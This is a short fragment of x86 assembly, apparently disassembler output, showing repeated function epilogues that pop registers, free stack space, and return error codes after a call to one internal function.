add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 0x228
ret
push esi
mov edi, 0xfffffffb
call fcn.004de440
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 0x228
ret
push esi
xor edi, edi
call fcn.004de440
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 0x228
ret
xor eax, eax
pop esi
add esp, 0x228
ret